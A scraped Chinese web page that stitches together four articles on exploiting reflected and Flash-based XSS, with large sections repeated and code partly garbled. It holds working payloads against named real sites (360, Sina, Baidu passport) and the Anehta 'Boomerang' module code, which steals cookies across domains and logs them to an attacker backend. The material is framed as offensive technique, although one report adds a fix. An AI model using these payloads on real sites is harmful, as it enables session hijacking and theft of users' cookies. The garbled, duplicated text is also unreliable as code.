>
鸡肋的反射性xss脚本安全(精选4篇)由网友“悲报喜鹊”投稿提供,下面小编给大家整理后的鸡肋的反射性xss脚本安全,希望大家喜欢!
0x00 起因
最近在一个比较大的小说网站上发现有注入漏洞,今天就一直想办法注入,结果一直也没有注进去,其主要原因就是只要我输入select他就会弹出对话框,如下图所示:
考虑了好久也没有想出什么好办法(只有留着),但是看着这个对话框总让人想到xss的场景,既然什么东西都那么容易就弹出来了,应该也会存在漏洞吧,于是就拿Acunetix一扫,果然发现了一大堆的xss漏洞(不过工具扫出来的也一般都是反射性的了):
看来现在虽然xss漏洞已经被owasp排在了web各大漏洞前列,但是实际好像不怎么受到重视哈。也跟xss大部分比较鸡肋有关吧,比如说本文发现的。
0x01 操作
Acunetix是一个很强大的扫描工具,能精确的发现大多数web漏洞,搞到工具那就是大家自己的事情了,呵呵。
首先选择一个xss漏洞点:右击 edit with http editor:
在这里他已经发现了代码的注入点,你只需要在固定的地方自定义的注入自己的代码,比如:
alert(/xss/)
由于我用的IE9,IE有自己的xss的过滤器,所以我说这个漏洞鸡肋,不过对低版本的很有效的,不会很多人都用IE9吧,
为了达到测试效果,我们可以先关了xss过滤器。
效果如下:
一般反射性的xss都不会有字数限制的,所以你可以直接写payload,也可以远程加载,为了用到以前的测试代码我就远程加载试试。
准备好的远程文件:j1.js
效果:
后面利用的手法就看大家的理解了。
0x 02 总结
反射性xss的原理和存储型xss有些差别,其差别在于存储型xss
简要描述:
360某处Flash应用存在漏洞,可能导致跨站脚本攻击,
详细说明:
在一切开始之前,我们先来说明几个基本的问题。
1.SWF如何被嵌入HTML页面的
此处所说的嵌入,就是指当你打开一个网页,这个网页中包含着SWF媒体文件,通常是embed或者object标签的形式。SWF嵌入HTML时,embed或者object标签通常还含有几个特定的属性,关键的有allowScriptAccess以及allowNetworking。
allowScriptAccess控制着SWF文件与HTML页面通信的级别,这里所说的通信,包括但不仅限于让SWF执行JS,还囊括了从JS调用SWF里预留出的api接口。
allowScriptAccess有以下三个值:
always 允许任意SWF文件与HTML页面通信。never 禁止任意SWF文件与HTML页面通信。samedomain 只有在SWF文件来自与HTML页相同的域时才允许通信。当未指定allowScriptAccess时,samedomain为默认值。
allowNetworking控制着SWF文件与WEB通信的级别,这里所说的通信,基本上就是发送、读取网络上的资源文件,以及控制浏览器的页面导航。
allowNetworking有以下三个值:
all 无任何限制。internal 禁止控制浏览器页面导航的函数。none 禁止任何网络通信。当未指定allowNetworking时,all为默认值。
2.我直接打开SWF文件时发生了什么
如果你在直接打开SWF文件时,使用IE开发者工具或者Firebug查看DOM源码就会发现,其实你打开的还是一个HTML页面,页面的内容只有一行代码:
前面我们已经讲了两个基本的属性,这里都没有指定,那么Flash Player自动取其默认值:allowScriptAccess=samedomain & allowNetworking=all.在明白了上面两点之后,我们就能下面几个容易让人混淆的问题作出解答:- a.com 的html页面 embed 了一个 b.com 的xss.swf,脚本执行域是哪个域?- a.com 因为swf并不能执行JS,我们见到的他所执行的JS,其实是flash player通过调用承载他的html页面的js来实现的,所以是a.com。- a.com 的html页面 iframe. 了一个 b.com 的xss.swf,脚本执行域是哪个域?- b.com 因为iframe了一个swf,其实是iframe了一个只有一行代码的HTML页面,html页面的域是b.com,故脚本的执行域也是b.com。- a.com/load.swf能够加载任意的swf,我直接打开a.com/load.swf?url=b.com/xss.swf,能不能执行脚本?- 不能,因为直接打开一个swf,他的allowScriptAccess是samedomain,而xss.swf的域是b.com,所以不能执行JS。Flash里能执行JS的脚本函数有以下:getURL(AS2) / navigateToURL (AS3)flash.external.ExternalInterface.call(methodName:String, [parameter1:Object])我们只需要搜索getURL/navigateToURL/ExternalInterface.call等关键字,然后在逆溯变量是否可控,就可以找到一些最基本的XSS漏洞。以360的这个swf为例,搜索ExternalInterface.call,我们发现了下面的代码,public static function initLanguage : void{ var _loc_1:* = null; Param.language = {}; if (ExternalInterface.available) { _loc_1 = ExternalInterface.call(Param.jsLang); if (_loc_1 != null) { Param.language[“CX0189”] = _loc_1[“CX0189”]; Param.language[“CX0193”] = _loc_1[“CX0193”]; _loc_1 = null; } } return;}回溯Param.jsLangthis.parameter = this.loaderInfo.parameters;...Param.jsFunc = this.parameter[“jsfunc”];...Param.initLanguage()这里的loaderInfo.parameters就是接受外部以flashvars或者类似a.swf?a=va&b=vb形式传入的变量和值。这里我们打开 wan.360.cn/swf/avatar.swf?jslang=alert(1)这里我们也许还有一个疑问,在官方的帮助文档里,flash.external.ExternalInterface.call可以接受两个参数,第一个是methodName,第二个是要传入的变量,那么对于上面的poc,正确的调用方法应该是flash.external.ExternalInterface.call(“alert”,“1”)才是,为什么flash.external.ExternalInterface.call(“alert(1)”)也能成功。我们打开ie的调试工具,借用80vul.com上的demo,看看swf执行js时候发生了什么。首先打开的是www.80vul.com/xss.swf?a=alert&b=1try { __flash__toXML(alert(“1”)) ; } catch (e) { “”; }__flash__toXML是将函数执行的结果进行编码后传回SWF的函数,外面再嵌套了一层容错语句,看来一切和预想的一样再打开www.80vul.com/xss.swf?a=alert(2)&b=1try { __flash__toXML(alert(2)(“1”)) ; } catch (e) { “”; }JS先执行了alert(2),弹出对话框。再单步进入alert函数没有返回值,alert(2)(“1”)出错,所以跳到了catch语句这样一来,就能解释为什么即使不按adobe的文档说明的方法进行调用,也能执行js了,再多说一句,由于这样会引起出错导致SWF接收不到JS返回的值,所以在某些特定的情况下,我们要对插入的函数进行进一步的变化,比如www.80vul.com/xss.swf?a=(function(_a){alert(_a);return function(_z){prompt(2,3)};return 5})(1)&b=4这样,SWF就可以接收到我们可以任意构造的返回值 5 了。原始SWF下载:swfpoc.appspot.com/vul/wan.360.cn_swf_avatar.swf证明:修复方案:正则匹配下,只允许[a-zA-Z\.]篇3:基于flash的反射型xss的利用方法脚本安全昨天在测试WEBQQ的时候,利用了这个,回头又在本地测试了一下,----------------------------------------------------在本地localhost建一个页面,进行了以下测试。通过iframe调用传统的反射型XSS,因为iframe页面不同域,被IE9过滤器过滤掉,不执行。< iframe/src=“xsst.sinaapp.com/example/1-1.php?page=”>< /code>如果用普通的embed来嵌入FLASH的话,则弹出的是localhost,即当前测试网页的cookiesIE下测试:chrome会崩溃.www.xxx.com< code>< embed/src=“data.house.sina.com.cn/images/price_trend/open-flash-chart.swf?get-data=(function(){location.href=%22javascript.:''%22})()”allowscriptaccess=“always”>< /code>但是用iframe来嵌入FLASH XSS的话,就有意思了测试代码如下(IE):在chrome中,可能会导致浏览器崩溃,可以改用以下代码,运行你会发现,弹出的是新浪域的cookies~------------------------------------------因此当我们发现www.A.com 域名下的一个flash XSS我们可以在www.B.com域名下用iframe嵌入www.A.com的flash XSS文件。当受害者,打开了www.B.com的域名时,我们可以成功获取其在www.A.com的cookies数据!篇4:如何将反射型XSS变成持久型XSS:论跨域获取cookie脚本安全Anehta中有许多的具有创意的设计,Boomerang ,回旋镖模块,正是其中一个,回旋镖模块的作用,是为了跨域获取本地cookie。Boomerang模块是专门针对IE设计的,对于Firefox的情况,可以使用xcookie模块,稍后会讨论。Boomerang的工作原理:我们知道,浏览器被XSS攻击后,攻击者可以用js或其他脚本控制浏览器的行为。这时候如果我们强制浏览器去访问站点B上一个存在XSS漏洞的页面,就可以继续用B站上的XSS_B控制用户的浏览器行为; 那么把整个过程结合起来,简单表示如下:victim Browser --->site A,XSS_A ---- redirect to ---->Site B,XSS_B ----- redirect somewhere --->.....但是对于IE来说,想要通过XSS_B 获取 Site B的cookie是有一定的困难的,困难就在于,从site A发过来的request,是否带上了本地cookie。我们知道,在IE中,iframe、img等标签都是拦截本地cookie的,于是这些都不能用。需要使用不拦截cookie的比如 window.open等方法,但是window.open会被IE拦截弹出窗口,所以我在boomerang 中使用了 表单提交,构造一个form,向site B提交,然后再从Site B导入一个XSS B,获取了cookie后,再通过表单提交,跳转回原来的Site A.如果在Site B上,使用XSS_B再将页面重新定向回 Site A,那么对于用户来说,就是简单的闪了一下,非常具有欺骗性。这个过程可以描述如下由于在IE中,跳到了Site B后再跳回A,中间已经取到了B的cookie了,整个过程就像用回旋镖扔出去打了一下B一样,所以我把这个模块命名为回旋镖模块,英文是:Boomerang!实现代码如下:////////////////////////////////////////////////////////////var target_domain = “passport.baidu.com”;var target=“passport.baidu.com/?getmypass&username=/”];document.write('');//“;// 前页面var org_url = ”www.secwiki.com/anehta/demo.html“;var org_domain = ”www.secwiki.com“;// 如果是当前页面,则向目标提交if ($d.domain == org_domain){if (anehta.dom.checkCookie(”boomerang“) == false){// 在cookie里做标记,只弹一次anehta.dom.addCookie(”boomerang“, ”x");setTimeout( function (){//alert(target);try {anehta.net.postForm(target);} catch (e){//alert(e);}},50);}}// 如果是目标站点,则重定向回前页面if ($d.domain == target_domain){//clx模块太慢了anehta.logger.logCookie(); //记录cookiesetTimeout( function (){// 弹回原来的页面,anehta.net.postForm(org_url);},50);}可以注意到,在Site B上停留的时间只有50毫秒,是非常短暂的,而我们想做的事情已经做完了。所有需要的一切,只是在B站上有一个XSS,种类不限,也就是说,不管是反射型XSS,还是持久型XSS,都能很好的完成我们的工作。在以往,反射型XSS可能是鸡肋,但是通过回旋镖模块,我们变废为宝了!在 Anehta 的demo页面,加入了针对回旋镖的演示. (注意在IE下,使用回旋镖,site B来不及打上水印,所以记录保存在 noWaterMark里)www.secwiki.com/anehta/demo.html后台 www.secwiki.com/anehta/admin.php★ 跨站脚本漏洞的利用教程★ linux中./configure命令参数解析linux操作系统★ 编程毕业论文范文大全★ 多媒体课件★ 星光贴吧1.3 后台拿SHELL及修复方案漏洞预警★ 多媒体课件的特点★ 计算机常用术语★ 软件工程师的年终总结★ 网站服务器如何保障网络安全★ 人类VS计算机作文1000字 《鸡肋的反射性xss脚本安全.doc》 将本文的Word文档下载到电脑,方便收藏和打印 推荐度: 点击下载文档 搜索文档 下载本文 【鸡肋的反射性xss脚本安全(精选4篇)】相关文章: 关于oracle分区技术初了解2022-12-15小燕病毒分析报告病毒防治2023-08-28Discuz XSS得webshell脚本安全2022-05-08Windows Vista下安装SQL Server2022-04-30Windows的“同步”功能2023-07-13BBSXP,很多注入脚本安全2023-02-15一个防注入的小白错误千博企业程序漏洞预警2022-09-25WIN技巧:如何用ADSI实现自动化的活动目录操作2022-05-06Linux Kiss Server lks.c文件多个格式串处理漏洞2023-05-30hr面试题及答案2022-10-01
前面我们已经讲了两个基本的属性,这里都没有指定,那么Flash Player自动取其默认值:allowScriptAccess=samedomain & allowNetworking=all.
在明白了上面两点之后,我们就能下面几个容易让人混淆的问题作出解答:
- a.com 的html页面 embed 了一个 b.com 的xss.swf,脚本执行域是哪个域?- a.com 因为swf并不能执行JS,我们见到的他所执行的JS,其实是flash player通过调用承载他的html页面的js来实现的,所以是a.com。
- a.com 的html页面 iframe. 了一个 b.com 的xss.swf,脚本执行域是哪个域?- b.com 因为iframe了一个swf,其实是iframe了一个只有一行代码的HTML页面,html页面的域是b.com,故脚本的执行域也是b.com。
- a.com/load.swf能够加载任意的swf,我直接打开a.com/load.swf?url=b.com/xss.swf,能不能执行脚本?- 不能,因为直接打开一个swf,他的allowScriptAccess是samedomain,而xss.swf的域是b.com,所以不能执行JS。
Flash里能执行JS的脚本函数有以下:
getURL(AS2) / navigateToURL (AS3)flash.external.ExternalInterface.call(methodName:String, [parameter1:Object])
我们只需要搜索getURL/navigateToURL/ExternalInterface.call等关键字,然后在逆溯变量是否可控,就可以找到一些最基本的XSS漏洞。
以360的这个swf为例,
搜索ExternalInterface.call,我们发现了下面的代码,
public static function initLanguage : void{ var _loc_1:* = null; Param.language = {}; if (ExternalInterface.available) { _loc_1 = ExternalInterface.call(Param.jsLang); if (_loc_1 != null) { Param.language[“CX0189”] = _loc_1[“CX0189”]; Param.language[“CX0193”] = _loc_1[“CX0193”]; _loc_1 = null; } } return;}
回溯Param.jsLang
this.parameter = this.loaderInfo.parameters;...Param.jsFunc = this.parameter[“jsfunc”];...Param.initLanguage()
这里的loaderInfo.parameters就是接受外部以flashvars或者类似a.swf?a=va&b=vb形式传入的变量和值。
这里我们打开 wan.360.cn/swf/avatar.swf?jslang=alert(1)
这里我们也许还有一个疑问,在官方的帮助文档里,flash.external.ExternalInterface.call可以接受两个参数,第一个是methodName,第二个是要传入的变量,那么对于上面的poc,正确的调用方法应该是flash.external.ExternalInterface.call(“alert”,“1”)才是,为什么flash.external.ExternalInterface.call(“alert(1)”)也能成功。
我们打开ie的调试工具,借用80vul.com上的demo,看看swf执行js时候发生了什么。
首先打开的是www.80vul.com/xss.swf?a=alert&b=1
try { __flash__toXML(alert(“1”)) ; } catch (e) { “”; }
__flash__toXML是将函数执行的结果进行编码后传回SWF的函数,外面再嵌套了一层容错语句,看来一切和预想的一样
再打开www.80vul.com/xss.swf?a=alert(2)&b=1
try { __flash__toXML(alert(2)(“1”)) ; } catch (e) { “”; }
JS先执行了alert(2),弹出对话框。
再单步进入
alert函数没有返回值,alert(2)(“1”)出错,所以跳到了catch语句
这样一来,就能解释为什么即使不按adobe的文档说明的方法进行调用,也能执行js了,再多说一句,由于这样会引起出错导致SWF接收不到JS返回的值,所以在某些特定的情况下,我们要对插入的函数进行进一步的变化,比如
www.80vul.com/xss.swf?a=(function(_a){alert(_a);return function(_z){prompt(2,3)};return 5})(1)&b=4
这样,SWF就可以接收到我们可以任意构造的返回值 5 了。
原始SWF下载:swfpoc.appspot.com/vul/wan.360.cn_swf_avatar.swf
证明:
修复方案:
正则匹配下,只允许[a-zA-Z\.]
昨天在测试WEBQQ的时候,利用了这个,回头又在本地测试了一下,
----------------------------------------------------
在本地localhost建一个页面,进行了以下测试。
通过iframe调用传统的反射型XSS,因为iframe页面不同域,被IE9过滤器过滤掉,不执行。
< iframe/src=“xsst.sinaapp.com/example/1-1.php?page=”>
< /code>如果用普通的embed来嵌入FLASH的话,则弹出的是localhost,即当前测试网页的cookies
IE下测试:chrome会崩溃.www.xxx.com
< code>
< embed/src=“data.house.sina.com.cn/images/price_trend/open-flash-chart.swf?get-data=(function(){location.href=%22javascript.:''%22})()”allowscriptaccess=“always”>
< /code>但是用iframe来嵌入FLASH XSS的话,就有意思了
测试代码如下(IE):
在chrome中,可能会导致浏览器崩溃,可以改用以下代码,
运行你会发现,弹出的是新浪域的cookies~
------------------------------------------
因此当我们发现www.A.com 域名下的一个flash XSS
我们可以在www.B.com域名下用iframe嵌入www.A.com的flash XSS文件。
当受害者,打开了www.B.com的域名时,我们可以成功获取其在www.A.com的cookies数据!
Anehta中有许多的具有创意的设计,Boomerang ,回旋镖模块,正是其中一个,
回旋镖模块的作用,是为了跨域获取本地cookie。
Boomerang模块是专门针对IE设计的,对于Firefox的情况,可以使用xcookie模块,稍后会讨论。
Boomerang的工作原理:我们知道,浏览器被XSS攻击后,攻击者可以用js或其他脚本控制浏览器的行为。这时候如果我们强制浏览器去访问站点B上一个存在XSS漏洞的页面,就可以继续用B站上的XSS_B控制用户的浏览器行为; 那么把整个过程结合起来,简单表示如下:
victim Browser --->site A,XSS_A ---- redirect to ---->Site B,XSS_B ----- redirect somewhere --->.....
但是对于IE来说,想要通过XSS_B 获取 Site B的cookie是有一定的困难的,困难就在于,从site A发过来的request,是否带上了本地cookie。
我们知道,在IE中,iframe、img等标签都是拦截本地cookie的,于是这些都不能用。需要使用不拦截cookie的比如 window.open等方法,但是window.open会被IE拦截弹出窗口,所以我在boomerang 中使用了 表单提交,构造一个form,向site B提交,然后再从Site B导入一个XSS B,获取了cookie后,再通过表单提交,跳转回原来的Site A.
如果在Site B上,使用XSS_B再将页面重新定向回 Site A,那么对于用户来说,就是简单的闪了一下,非常具有欺骗性。
这个过程可以描述如下
由于在IE中,跳到了Site B后再跳回A,中间已经取到了B的cookie了,整个过程就像用回旋镖扔出去打了一下B一样,所以我把这个模块命名为回旋镖模块,英文是:Boomerang!
实现代码如下:
////////////////////////////////////////////////////////////
var target_domain = “passport.baidu.com”;
var target=“passport.baidu.com/?getmypass&username=/”];document.write('');//“;
// 前页面
var org_url = ”www.secwiki.com/anehta/demo.html“;
var org_domain = ”www.secwiki.com“;
// 如果是当前页面,则向目标提交
if ($d.domain == org_domain){
if (anehta.dom.checkCookie(”boomerang“) == false){
// 在cookie里做标记,只弹一次
anehta.dom.addCookie(”boomerang“, ”x");
setTimeout( function (){
//alert(target);
try {
anehta.net.postForm(target);
} catch (e){
//alert(e);
}
},
50);
// 如果是目标站点,则重定向回前页面
if ($d.domain == target_domain){
//clx模块太慢了
anehta.logger.logCookie(); //记录cookie
// 弹回原来的页面,
anehta.net.postForm(org_url);
可以注意到,在Site B上停留的时间只有50毫秒,是非常短暂的,而我们想做的事情已经做完了。
所有需要的一切,只是在B站上有一个XSS,种类不限,也就是说,不管是反射型XSS,还是持久型XSS,都能很好的完成我们的工作。
在以往,反射型XSS可能是鸡肋,但是通过回旋镖模块,我们变废为宝了!
在 Anehta 的demo页面,加入了针对回旋镖的演示. (注意在IE下,使用回旋镖,site B来不及打上水印,所以记录保存在 noWaterMark里)
www.secwiki.com/anehta/demo.html
后台 www.secwiki.com/anehta/admin.php
★ 跨站脚本漏洞的利用教程
★ linux中./configure命令参数解析linux操作系统
★ 编程毕业论文范文大全
★ 多媒体课件
★ 星光贴吧1.3 后台拿SHELL及修复方案漏洞预警
★ 多媒体课件的特点
★ 计算机常用术语
★ 软件工程师的年终总结
★ 网站服务器如何保障网络安全
★ 人类VS计算机作文1000字
【鸡肋的反射性xss脚本安全(精选4篇)】相关文章:
关于oracle分区技术初了解2022-12-15
小燕病毒分析报告病毒防治2023-08-28
Discuz XSS得webshell脚本安全2022-05-08
Windows Vista下安装SQL Server2022-04-30
Windows的“同步”功能2023-07-13
BBSXP,很多注入脚本安全2023-02-15
一个防注入的小白错误千博企业程序漏洞预警2022-09-25
WIN技巧:如何用ADSI实现自动化的活动目录操作2022-05-06
Linux Kiss Server lks.c文件多个格式串处理漏洞2023-05-30
hr面试题及答案2022-10-01